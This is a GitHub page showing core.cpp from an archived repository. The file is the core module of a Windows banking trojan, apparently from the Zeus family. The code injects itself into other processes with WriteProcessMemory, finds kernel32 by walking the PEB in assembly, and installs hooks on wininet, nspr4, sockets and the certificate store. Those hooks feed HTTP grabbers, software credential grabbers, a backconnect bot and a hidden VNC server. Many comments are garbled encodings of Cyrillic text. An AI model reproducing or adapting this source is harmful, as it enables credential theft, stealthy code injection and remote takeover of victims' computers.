This repository has been archived by the owner on Jul 18, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 692
/
core.cpp
1479 lines (1262 loc) · 46.1 KB
/
core.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <windows.h>
#include <shlobj.h>
#include <shellapi.h>
#include <sddl.h>
#include <wincrypt.h>
#include <shlwapi.h>
#include <wininet.h>
#include <ws2tcpip.h>
#include <intrin.h>
#include "defines.h"
#include "core.h"
#include "corehook.h"
#include "coreinstall.h"
#include "coreinject.h"
#include "corecontrol.h"
#include "tcpserver.h"
#include "dynamicconfig.h"
#include "localconfig.h"
#include "localsettings.h"
#include "report.h"
#include "winapitables.h"
#include "softwaregrabber.h"
#include "backconnectbot.h"
#include "vnc\vncserver.h"
#include "httpgrabber.h"
#include "nspr4hook.h"
#include "wininethook.h"
#include "sockethook.h"
#include "certstorehook.h"
#include "userhook.h"
#include "osenv.h"
#include "cryptedstrings.h"
#include "..\common\mem.h"
#include "..\common\str.h"
#include "..\common\debug.h"
#include "..\common\peimage.h"
#include "..\common\process.h"
#include "..\common\winsecurity.h"
#include "..\common\fs.h"
#include "..\common\wsocket.h"
#include "..\common\mscab.h"
#include "..\common\sync.h"
#include "..\common\disasm.h"
#include "..\common\baseoverlay.h"
#include "..\common\comlibrary.h"
#include "..\common\xmlparser.h"
#include "..\common\wahook.h"
#include "..\common\registry.h"
COREDATA coreData;
static ThreadsGroup::GROUP servcieThreads;
extern const char baseConfigSource[sizeof(BASECONFIG)];
//////////////////////////////////////////////////// ////////////////////////////////////////////////
//Â List of processes.
//////////////////////////////////////////////////// ////////////////////////////////////////////////
typedef struct
{
DWORD nameId; //The name of the process, can moderzhat mask if folder == CSIDL_DESKTOP.
DWORD rights; //Right CDPF_RIGHT_ *.
DWORD folder; //Folder process CSIDL_. If folder == CSIDL_DESKTOP, folder can be anything.
}
PROCESSRIGHTS;
//! The code for CSIDL_DESKTOP not active!
const static PROCESSRIGHTS processRights[] =
{
//Processes, which is present during all sessions of the user.
{CryptedStrings::id_core_pr_dwm, Core::CDPF_RIGHT_CONTROL, CSIDL_SYSTEM},
{CryptedStrings::id_core_pr_taskhost, Core::CDPF_RIGHT_CONTROL | Core::CDPF_RIGHT_SERVER_SESSION | Core::CDPF_RIGHT_TCP_SERVER | Core::CDPF_RIGHT_BACKCONNECT_SESSION, CSIDL_SYSTEM},
{CryptedStrings::id_core_pr_taskeng, Core::CDPF_RIGHT_CONTROL | Core::CDPF_RIGHT_SERVER_SESSION | Core::CDPF_RIGHT_TCP_SERVER | Core::CDPF_RIGHT_BACKCONNECT_SESSION, CSIDL_SYSTEM},
{CryptedStrings::id_core_pr_wscntfy, Core::CDPF_RIGHT_CONTROL, CSIDL_SYSTEM},
{CryptedStrings::id_core_pr_ctfmon, Core::CDPF_RIGHT_CONTROL, CSIDL_SYSTEM},
{CryptedStrings::id_core_pr_rdpclip, Core::CDPF_RIGHT_CONTROL, CSIDL_SYSTEM},
{CryptedStrings::id_core_pr_explorer, Core::CDPF_RIGHT_CONTROL | Core::CDPF_RIGHT_SERVER_SESSION | Core::CDPF_RIGHT_TCP_SERVER | Core::CDPF_RIGHT_BACKCONNECT_SESSION, CSIDL_WINDOWS},
};
//////////////////////////////////////////////////// ////////////////////////////////////////////////
//Â Utilities.
//////////////////////////////////////////////////// ////////////////////////////////////////////////
#if(BO_DEBUG == 2)
static HANDLE debugServer; //Hadley flow debyuga.
/*
Ôóíêöèÿ çàïóñêà äåáþã-ñåðâåðà.
Return - 0.
*/
static DWORD WINAPI debugServerProc(void *)
{
CoreHook::disableFileHookerForCurrentThread(true);
DebugClient::StartLogServer();
return 0;
}
#endif
/*
Àíàëîã CWA(kernel32, GetProcAddress).
*/
static void *__GetProcAddress(HMODULE module, LPSTR name)
{
#if defined _WIN64
PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
#else
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
#endif
PIMAGE_DATA_DIRECTORY impDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module + impDir->VirtualAddress);
for(DWORD i = 0; i < ied->NumberOfNames; i++)
{
LPDWORD curName = (LPDWORD)(((LPBYTE)module) + ied->AddressOfNames + i * sizeof(DWORD));
if(curName && Str::_CompareA(name, (LPSTR)((LPBYTE)module + *curName), -1, -1) == 0)
{
LPWORD pw = (LPWORD)(((LPBYTE)module) + ied->AddressOfNameOrdinals + i * sizeof(WORD));
curName = (LPDWORD)(((LPBYTE)module) + ied->AddressOfFunctions + (*pw) * sizeof(DWORD));
return ((LPBYTE)module + *curName);
}
}
return NULL;
}
/*
Êîïèðîâàíèå äàííûõ â ýòîò ìîäóëü â äðóãîì ïðîöåññå.
IN process - ïðîöåññ äëÿ èçìåíåíèÿ.
IN image - àäðåñ ýòîãî ìîäóëÿ â process.
IN curVa - òåêóùèé VA äàííûõ äëÿ êîïèðîâàíèÿ.
IN data - äàííûå.
IN dataSize - ðàçìåð äàííûõ äëÿ êîïèðîâàíèÿ.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè ïðîâàëà.
*/
static bool copyDataToProcess(HANDLE process, void *image, void *curVa, void *data, DWORD dataSize)
{
DWORD_PTR rva = (DWORD_PTR)(((LPBYTE)curVa) - ((LPBYTE)coreData.modules.current));
return (CWA(kernel32, WriteProcessMemory)(process, (LPBYTE)image + rva, data, dataSize, NULL) == FALSE) ? false : true;
}
/*
Êîïèðîâàíèå õýíäëà â ýòîò ìîäóëü â äðóãîì ïðîöåññå.
IN process - ïðîöåññ äëÿ èçìåíåíèÿ.
IN image - àäðåñ ýòîãî ìîäóëÿ â process.
IN curVa - òåêóùèé VA õýíäëà äëÿ êîïèðîâàíèÿ.
IN handle - õýíäë äëÿ êîïèðîâàíèÿ.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè ïðîâàëà.
*/
static bool copyHandleToProcess(HANDLE process, void *image, void *curVa, HANDLE handle)
{
HANDLE newHandle;
DWORD_PTR rva = (DWORD_PTR)(((LPBYTE)curVa) - ((LPBYTE)coreData.modules.current));
if(CWA(kernel32, DuplicateHandle)(CURRENT_PROCESS, handle, process, &newHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) != FALSE)
{
if(CWA(kernel32, WriteProcessMemory)(process, (LPBYTE)image + rva, &newHandle, sizeof(HANDLE), NULL) != FALSE)return true;
CWA(kernel32, DuplicateHandle)(process, newHandle, NULL, NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
}
return false;
}
/*
Ïîëó÷åíèå õýíäëà kernel32.dll.
Return - õýíäë.
*/
HMODULE _getKernel32Handle(void)
{
#if defined _WIN64
return NULL; //FIXME
#else
__asm
{
cld //clear the direction flag for the loop
mov edx, fs:[0x30] //get a pointer to the PEB
mov edx, [edx + 0x0C] //get PEB-> Ldr
mov edx, [edx + 0x14] //get the first module from the InMemoryOrder module list
next_mod:
mov esi, [edx + 0x28] //get pointer to modules name (unicode string)
mov ecx, 24 //the length we want to check
xor edi, edi //clear edi which will store the hash of the module name
loop_modname:
xor eax, eax //clear eax
lodsb //read in the next byte of the name
cmp al, 'a' //some versions of Windows use lower case module names
jl not_lowercase
sub al, 0x20 //if so normalise to uppercase
not_lowercase:
ror edi, 13 //rotate right our hash value
add edi, eax //add the next byte of the name to the hash
loop loop_modname //loop until we have read enough
cmp edi, 0x6A4ABC5B //compare the hash with that of KERNEL32.DLL
mov eax, [edx + 0x10] //get this modules base address
mov edx, [edx] //get the next module
jne next_mod //if it doesn't match, process the next module
};
#endif
}
//////////////////////////////////////////////////// ////////////////////////////////////////////////
//In the Core.
//////////////////////////////////////////////////// ////////////////////////////////////////////////
/*
Çàãðóçêà ìîäóëåé è ôóíêöèé.
IN flags - ôëàãè INITF_*.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
static bool __inline initLoadModules(DWORD flags)
{
if((coreData.modules.kernel32 = _getKernel32Handle()) == NULL)
{
//WDEBUG0 (WDDT_ERROR, "_getKernel32Handle () failed.");
return false;
}
if((flags & Core::INITF_INJECT_START) == 0)
{
if((coreData.modules.current = CWA(kernel32, GetModuleHandleW)(NULL)) == NULL)return false;
}
else
{
//coreData.modules.current - updated rodetelem.
//Update imports.
if(!PeImage::_loadImport(coreData.modules.current, __GetProcAddress(coreData.modules.kernel32, "LoadLibraryA"), __GetProcAddress(coreData.modules.kernel32, "GetProcAddress")))return false;
}
//Loads ntdll.dll and desired functions.
{
{
CSTR_GETW(dllName, module_ntdll);
if((coreData.modules.ntdll = CWA(kernel32, GetModuleHandleW)(dllName)) == NULL)return false;
}
coreData.ntdllApi.ntCreateThread = (ntdllNtCreateThread)CWA(kernel32, GetProcAddress)(coreData.modules.ntdll, "NtCreateThread");
coreData.ntdllApi.ntCreateUserProcess = (ntdllNtCreateUserProcess)CWA(kernel32, GetProcAddress)(coreData.modules.ntdll, "NtCreateUserProcess");
coreData.ntdllApi.ntQueryInformationProcess = (ntdllNtQueryInformationProcess)CWA(kernel32, GetProcAddress)(coreData.modules.ntdll, "NtQueryInformationProcess");
coreData.ntdllApi.rtlUserThreadStart = (void *)CWA(kernel32, GetProcAddress)(coreData.modules.ntdll, "RtlUserThreadStart");
# if(0)
coreData.ntdllApi.ntQueryDirectoryFile = (ntdllNtQueryDirectoryFile)CWA(kernel32, GetProcAddress)(coreData.modules.ntdll, "NtQueryDirectoryFile");
# endif
# if defined(HOOKER_LDRLOADDLL)
coreData.ntdllApi.ldrLoadDll = (ntdllLdrLoadDll)CWA(kernel32, GetProcAddress)(coreData.modules.ntdll, "LdrLoadDll");
coreData.ntdllApi.ldrGetDllHandle = (ntdllLdrGetDllHandle)CWA(kernel32, GetProcAddress)(coreData.modules.ntdll, "LdrGetDllHandle");
# endif
# if defined(HOOKER_NTCREATEFILE)
coreData.ntdllApi.ntCreateFile = (ntdllNtCreateFile)CWA(kernel32, GetProcAddress)(coreData.modules.ntdll, "NtCreateFile");
# endif
if((coreData.ntdllApi.ntCreateThread == NULL && coreData.ntdllApi.ntCreateUserProcess == NULL)
|| coreData.ntdllApi.ntQueryInformationProcess == NULL
# if(0)
|| coreData.ntdllApi.ntQueryDirectoryFile == NULL
# endif
# if defined(HOOKER_LDRLOADDLL)
|| coreData.ntdllApi.ldrLoadDll == NULL
|| coreData.ntdllApi.ldrGetDllHandle == NULL
# endif
# if defined(HOOKER_NTCREATEFILE)
|| coreData.ntdllApi.ntCreateFile == NULL
# endif
)
{
return false;
}
}
return true;
}
/*
Îñíîâíå äàííûå OS.
IN flags - ôëàãè INITF_*.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
static bool __inline initOsBasic(DWORD flags)
{
//WOW64
# if !defined _WIN64
if((flags & Core::INITF_INJECT_START) == 0 && Process::_isWow64(CURRENT_PROCESS))coreData.proccessFlags |= Core::CDPF_WOW64;
# endif
//Get a handle for access.
if((coreData.securityAttributes.buf = WinSecurity::_getFullAccessDescriptors(&coreData.securityAttributes.saAllowAll, &coreData.securityAttributes.sdAllowAll)) == NULL)
{
WDEBUG0(WDDT_ERROR, "GetFullAccessDescriptors failed.");
return false;
}
//OS GUID.
if((flags & Core::INITF_INJECT_START) == 0)
{
MalwareTools::_getOsGuid(&coreData.osGuid);
}
else
{
//Preserved when you copy a module.
}
//Version of Windows.
{
coreData.winVersion = OsEnv::_getVersion();
if(coreData.winVersion < OsEnv::VERSION_XP)
{
WDEBUG1(WDDT_ERROR, "Bad windows version %u.", coreData.winVersion);
return false;
}
}
//Getting IntegrityLevel.
if((coreData.integrityLevel = Process::_getIntegrityLevel(CURRENT_PROCESS)) == Process::INTEGRITY_UNKNOWN)
{
if(coreData.winVersion < OsEnv::VERSION_VISTA)coreData.integrityLevel = Process::INTEGRITY_MEDIUM;
else
{
WDEBUG0(WDDT_ERROR, "Unknown integrity level.");
return false;
}
}
if((flags & Core::INITF_INJECT_START) == 0 && coreData.integrityLevel < Process::INTEGRITY_MEDIUM)
{
WDEBUG0(WDDT_ERROR, "Bad integrity level for normal startup.");
return false;
}
return true;
}
/*
Ñîçäàíèå îáúåêòîâ.
IN flags - ôëàãè INITF_*.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
static bool __inline initHandles(DWORD flags)
{
//Global objects.
if((flags & Core::INITF_INJECT_START) == 0)
{
coreData.globalHandles.stopEvent = CWA(kernel32, CreateEventW)(&coreData.securityAttributes.saAllowAll, TRUE, FALSE, NULL);
coreData.globalHandles.stopedEvent = CURRENT_PROCESS;
if(coreData.globalHandles.stopEvent == NULL)
{
WDEBUG0(WDDT_ERROR, "Failed to create global handles.");
return false;
}
}
else
{
//Created rodielskim flow.
}
return true;
}
/*
These tekschego user.
IN flags - ôëàãè INITF_*.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
static bool __inline initUserData(DWORD flags)
{
if((coreData.currentUser.token = Process::_getUserByProcessHandle(CURRENT_PROCESS, &coreData.currentUser.sessionId)))
{
coreData.currentUser.sidLength = CWA(advapi32, GetLengthSid)(coreData.currentUser.token->User.Sid);
coreData.currentUser.id = Crypt::crc32Hash((LPBYTE)coreData.currentUser.token->User.Sid, coreData.currentUser.sidLength);
WDEBUG2(WDDT_INFO, "coreData.currentUser.id=\"0x%08X\", coreData.currentUser.sessionId=\"%u\"", coreData.currentUser.id, coreData.currentUser.sessionId);
}
else
{
WDEBUG0(WDDT_ERROR, "Process::_getProcessUserByHandle failed!");
return false;
}
return true;
}
/*
Ïîëó÷åíèå ïóòåé.
IN flags - ôëàãè INITF_*.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
static bool __inline initPaths(DWORD flags)
{
WCHAR path[MAX_PATH];
//Obtain the home directory.
if((flags & Core::INITF_INJECT_START) == 0)
{
if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, coreData.paths.home) != S_OK)
{
WDEBUG0(WDDT_ERROR, "Failed to get home path.");
return false;
}
CWA(shlwapi, PathRemoveBackslashW)(coreData.paths.home);
}
else
{
//It is saved from a parent.
}
//Current file.
DWORD size = CWA(kernel32, GetModuleFileNameW)(NULL, path, MAX_PATH);
if((coreData.paths.process = Str::_CopyExW(path, size)) == NULL)
{
WDEBUG0(WDDT_ERROR, "Not enough memory.");
return false;
}
return true;
}
/*
Ïîëó÷åíèå äàííûõ áàçîâîé êîíôèãóðàöèè.
IN flags - ôëàãè INITF_*.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
static bool __inline initBaseConfig(DWORD flags)
{
if((flags & Core::INITF_INJECT_START) == 0)
{
void *section = PeImage::_getSectionOfModule((HMODULE)coreData.modules.current, PESECTION_OF_BASECONFIG_KEY, NULL);
if(section == NULL)return false;
coreData.baseConfigInfo.xorKey = (DWORD)((DWORD_PTR)section - (DWORD_PTR)coreData.modules.current);
}
return true;
}
/*
Creation of object names.
IN flags - ôëàãè INITF_*.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
static bool __inline initObjects(DWORD flags)
{
//installID
if((flags & Core::INITF_INJECT_START) == 0)
{
BASECONFIG bs;
Core::getBaseConfig(&bs); //! The primary challenge PeCrypt:: _decryptSection ().
MalwareTools::_generateKernelObjectName(&coreData.osGuid, Core::OBJECT_ID_BOT_STATUS, coreData.currentUser.id, coreData.installId, &bs.baseKey, MalwareTools::KON_DEFAULT);
}
else
{
//Preserved when you copy a module.
}
return true;
}
/*
Ïîëó÷åíèå ïðàâ ïðîöåññà CDPF_RIGHT_*.
IN flags - ôëàãè INITF_*.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
static bool __inline initProcessRights(DWORD flags)
{
if(flags & Core::INITF_INJECT_START)
{
if(coreData.integrityLevel > Process::INTEGRITY_LOW)
{
//LPWSTR fileName = NULL;
WCHAR path[MAX_PATH];
WCHAR name[CryptedStrings::len_max];
for(DWORD i = 0; i < sizeof(processRights) / sizeof(PROCESSRIGHTS); i++)
{
CryptedStrings::_getW(processRights[i].nameId, name);
# if(0)
if(processRights[i].folder == CSIDL_DESKTOP)
{
if(fileName == NULL)fileName = CWA(shlwapi, PathFindFileNameW)(coreData.paths.process);
if(CWA(shlwapi, PathMatchSpecW)(fileName, name) == TRUE)
{
WDEBUG1(WDDT_INFO, "Rights detected as %s.", name);
coreData.proccessFlags |= processRights[i].rights;
break;
}
}
else
# endif
{
if(CWA(shell32, SHGetFolderPathW)(NULL, processRights[i].folder, NULL, SHGFP_TYPE_CURRENT, path) == S_OK &&
Fs::_pathCombine(path, path, name) &&
CWA(kernel32, lstrcmpiW)(path, coreData.paths.process) == 0)
{
WDEBUG1(WDDT_INFO, "Rights detected as %s.", name);
coreData.proccessFlags |= processRights[i].rights;
break;
}
}
}
}
}
#if !defined _WIN64
else if(coreData.proccessFlags & Core::CDPF_WOW64)coreData.proccessFlags |= Core::CDPF_RIGHT_ALL;
#endif
return true;
}
/*
Install hooks.
IN flags - ôëàãè INITF_*.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
static bool __inline initHooks(DWORD flags)
{
if(flags & Core::INITF_HOOKS_FOR_USER)
{
WDEBUG0(WDDT_INFO, "Initializes the user modules.");
UserHook::init();
# if(BO_WININET > 0 || BO_NSPR4 > 0)
{
HttpGrabber::init();
//Learn prinuditilnuyu homepage.
WCHAR homePage[max(MAX_PATH, 0xFF + 1)];
Core::getPeSettingsPath(Core::PSP_QUICKSETTINGSFILE, homePage);
DWORD homePageSize = Fs::_readFileToBuffer(homePage, homePage, 0xFF * sizeof(WCHAR));
if(homePageSize == (DWORD)-1 || homePageSize % sizeof(WCHAR) != 0)homePageSize = 0;
homePage[homePageSize / sizeof(WCHAR)] = 0;
# if(BO_WININET > 0)
WininetHook::init(homePage);
# endif
# if(BO_NSPR4 > 0)
Nspr4Hook::init(homePage);
# endif
}
# endif
# if(BO_SOCKET_FTP > 0 || BO_SOCKET_POP3 > 0)
SocketHook::init();
# endif
SoftwareGrabber::init();
# if(BO_VNC > 0)
VncServer::init();
# endif
//Expose the hooks.
# if(BO_NSPR4 > 0)
if(WinApiTables::_trySetNspr4Hooks())
{
CoreHook::markNspr4AsHooked();
WDEBUG0(WDDT_INFO, "Hooks installed for nspr4.dll");
}
# endif
WinApiTables::_setUserHooks();
}
return true;
}
//////////////////////////////////////////////////// ////////////////////////////////////////////////
bool Core::init(DWORD flags)
{
if((flags & INITF_INJECT_START) == 0)coreData.proccessFlags = 0;
//else coreData.proccessFlags = 0, / / ââupdated rodetelem.
//Obtain the handles of the main modules (dll).
if(!initLoadModules(flags))return false;
//Initialize the basic modules.
Mem::init(512 * 1024);
Crypt::init();
CoreHook::init();
CoreHook::disableFileHookerForCurrentThread(true);
WSocket::init();
//Preparing to debug output.
# if(BO_DEBUG > 0)
{
DebugClient::Init();
# if(BO_DEBUG == 1)
CWA(user32, MessageBeep)(-1);
# elif(BO_DEBUG == 2)
debugServer = NULL;
if((flags & INITF_INJECT_START) == 0)debugServer = CWA(kernel32, CreateThread)(NULL, 0, debugServerProc, NULL, 0, NULL);
# endif
DebugClient::RegisterExceptionFilter();
}
# endif
//Basic data OC.
if(!initOsBasic(flags))return false;
//Objects.
if(!initHandles(flags))return false;
//These tekschego user.
if(!initUserData(flags))return false;
//Obtain the home directory.
if(!initPaths(flags))return false;
//PID
coreData.pid = CWA(kernel32, GetCurrentProcessId)();
//Zeroing UserAgent.
coreData.httpUserAgent = NULL;
if(!initBaseConfig(flags))return false;
//Creation of object names.
if(!initObjects(flags))return false;
//Set the right process.
if(!initProcessRights(flags))return false;
//Initialize additional modules.
MsCab::Init();
Report::init();
DynamicConfig::init();
LocalConfig::init();
LocalSettings::init();
//Install hooks.
if(!initHooks(flags))return false;
//Deduce information about the process.
# if(BO_DEBUG > 0)
{
LPWSTR userSid;
if(CWA(kernel32, ConvertSidToStringSidW)(coreData.currentUser.token->User.Sid, &userSid) == FALSE)userSid = NULL;
BASECONFIG baseConfig;
getBaseConfig(&baseConfig);
WDEBUG11(WDDT_INFO, "Initialized successfully:\r\nVersion: %u.%u.%u.%u\r\nIntegrity level: %u\r\ncoreData.proccessFlags: 0x%08X\r\nFull path: %s\r\nCommand line: %s\r\nBot home: %s\r\nSID: %s\r\nbaseConfig hash=0x%08X",
VERSION_MAJOR(BO_CLIENT_VERSION),
VERSION_MINOR(BO_CLIENT_VERSION),
VERSION_SUBMINOR(BO_CLIENT_VERSION),
VERSION_BUILD(BO_CLIENT_VERSION),
coreData.integrityLevel,
coreData.proccessFlags,
coreData.paths.process,
CWA(kernel32, GetCommandLineW)(),
coreData.paths.home,
userSid == NULL ? L"-" : userSid,
Crypt::crc32Hash((LPBYTE)&baseConfig, sizeof(BASECONFIG)));
if(userSid != NULL)CWA(kernel32, LocalFree)(userSid);
}
# endif
return true;
}
void Core::uninit(void)
{
#if(BO_DEBUG == 2)
if(debugServer != NULL)
{
CWA(kerne32, WaitForSingleObject)(debugServer, INFINITE);
CWA(kerne32, CloseHandle)(debugServer);
}
#endif
//... Fill in when needed, and there is no point in wasting code.
}
void Core::initHttpUserAgent(void)
{
if(coreData.httpUserAgent == NULL)
{
/*
 ïðèöèïå åñòü øàíñ ÷òî ôóíêöèÿ áóäåò âûçâàíà èç íåñêîëüêèõ ïîòîêîâ îäíîâðåìåííî,
è ïðîèçîéäåò óòå÷êà ïàìÿòè. Íî ò.ê. ýòî íå âàæíî â äàííûé ìîìåíò, íå çàùèùàþ ýòî âûçîâ
êðèò. ñåêöèåé. Ò.ê. âñå ÷òî ìû ïîòåðÿåì ýòî óòå÷êó ìåíåå, ÷åì â 1êá.
*/
coreData.httpUserAgent = Wininet::_GetIEUserAgent();
}
}
void Core::initDefaultCallUrlData(Wininet::CALLURLDATA *cud)
{
Mem::_zero(cud, sizeof(Wininet::CALLURLDATA));
initHttpUserAgent();
cud->bAutoProxy = true;
cud->bTryCount = WININET_CONNECT_RETRY_COUNT;
cud->dwRetryDelay = WININET_CONNECT_RETRY_DELAY;
cud->SendRequest_dwFlags = Wininet::WISRF_METHOD_GET;
cud->DownloadData_dwSizeLimit = BINSTORAGE_MAX_SIZE;
cud->pstrUserAgent = coreData.httpUserAgent;
}
HANDLE Core::createMutexOfProcess(DWORD pid)
{
WCHAR objectName[50];
BASECONFIG baseConfig;
PESETTINGS pes;
getBaseConfig(&baseConfig);
getPeSettings(&pes);
MalwareTools::_generateKernelObjectName(&coreData.osGuid, pes.processInfecionId, pid, objectName, &baseConfig.baseKey, MalwareTools::KON_GLOBAL);
return Sync::_createUniqueMutex(&coreData.securityAttributes.saAllowAll, objectName);
}
void Core::generateObjectName(DWORD id, LPWSTR buffer, BYTE objectNamespace)
{
BASECONFIG baseConfig;
getBaseConfig(&baseConfig);
MalwareTools::_generateKernelObjectName(&coreData.osGuid, id, coreData.currentUser.id, buffer, &baseConfig.baseKey, objectNamespace);
}
HANDLE Core::waitForMutexOfObject(DWORD id, BYTE objectNamespace)
{
WCHAR strObject[50];
Core::generateObjectName(id, strObject, objectNamespace);
return Sync::_waitForMutex(&coreData.securityAttributes.saAllowAll, strObject);
}
void *Core::initNewModule(HANDLE process, HANDLE processMutex, DWORD proccessFlags)
{
void *image = PeImage::_copyModuleToProcess(process, coreData.modules.current);
if(image == NULL)return NULL;
BYTE errorsCount = 0;
//Duplicate myuteks new process in the new process.
{
HANDLE newMutex;
if(CWA(kernel32, DuplicateHandle)(CURRENT_PROCESS, processMutex, process, &newMutex, 0, FALSE, DUPLICATE_SAME_ACCESS) == FALSE)
{
WDEBUG0(WDDT_ERROR, "Failed to duplicate mutex of process.");
errorsCount++;
}
}
//coreData.proccessFlags.
proccessFlags |= (coreData.proccessFlags & CDPT_INHERITABLE_MASK);
if(!copyDataToProcess(process, image, &coreData.proccessFlags, &proccessFlags, sizeof(DWORD)))
{
WDEBUG0(WDDT_ERROR, "Failed coreData.proccessFlags.");
errorsCount++;
}
//Indicates current module.
if(!copyDataToProcess(process, image, &coreData.modules.current, &image, sizeof(HMODULE)))
{
WDEBUG0(WDDT_ERROR, "Failed coreData.modules.current.");
errorsCount++;
}
//coreData.globalHandles.stopEvent.
if(!copyHandleToProcess(process, image, &coreData.globalHandles.stopEvent, coreData.globalHandles.stopEvent))
{
WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopEvent.");
errorsCount++;
}
//coreData.globalHandles.stopedEvent.
if(!copyHandleToProcess(process, image, &coreData.globalHandles.stopedEvent, coreData.globalHandles.stopedEvent))
{
WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopedEvent.");
errorsCount++;
}
//Exits with an error.
if(errorsCount != 0)
{
CWA(kernel32, VirtualFreeEx)(process, image, 0, MEM_RELEASE);
return NULL;
}
//Uspesheny vvyhod.
return image;
}
DWORD Core::disableErrorMessages(void)
{
#if(BO_DEBUG == 0)
return CWA(kernel32, SetErrorMode)(SEM_FAILCRITICALERRORS | SEM_NOALIGNMENTFAULTEXCEPT | SEM_NOGPFAULTERRORBOX | SEM_NOOPENFILEERRORBOX);
#else
return 0;
#endif
}
void Core::replaceFunction(const void *oldFunction, const void *newFunction)
{
void **list = (void **)&coreData.ntdllApi;
